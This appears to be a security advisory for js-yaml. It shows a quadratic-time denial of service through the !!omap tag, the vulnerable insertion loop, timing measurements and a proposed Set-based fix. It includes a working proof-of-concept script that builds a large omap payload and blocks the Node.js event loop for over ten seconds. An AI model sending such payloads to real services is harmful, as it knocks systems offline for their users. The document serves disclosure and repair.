js-yaml: Quadratic-complexity (O(n^2)) DoS via !!omap tag in YAML11_SCHEMA

 1var omapTag = defineSequenceTag('tag:yaml.org,2002:omap', {
 2    create: () => [],
 3    addItem: (container, item) => {
 4        // ...
 5        for (const existing of container)   // O(n) per insertion!
 6            if (hasOwnProperty(existing, itemKeys[0]))
 7                return 'cannot resolve an ordered map item';
 8        container.push(object);             // n insertions → O(n^2) total
 9        return '';
10    }
11});

 1const yaml = require('js-yaml');
 2function buildOmapPayload(n) {
 3  let p = '!!omap\n';
 4  for (let i = 0; i < n; i++) p += '- key' + i + ': val' + i + '\n';
 5  return p;
 6}
 7// Timing results on v5.2.0:
 8// n=1000:  9ms
 9// n=5000:  73ms  (5x n → 8x time)
10// n=10000: 255ms (2x n → 3.5x time — supralinear)
11// n=20000: 997ms (2x n → 3.9x time — O(n²) confirmed)
12// n=50000: 10613ms          ← blocks event loop for >10 seconds
13yaml.load(buildOmapPayload(50000), { schema: yaml.YAML11_SCHEMA });

 1var omapTag = defineSequenceTag('tag:yaml.org,2002:omap', {
 2    create: () => ({ list: [], seen: new Set() }),
 3    addItem: (state, item) => {
 4        const key = Object.keys(item)[0];
 5        if (state.seen.has(key)) return 'duplicate omap key';
 6        state.seen.add(key);
 7        state.list.push(item);
 8        return '';
 9    },
10    resolve: (state) => state.list
11});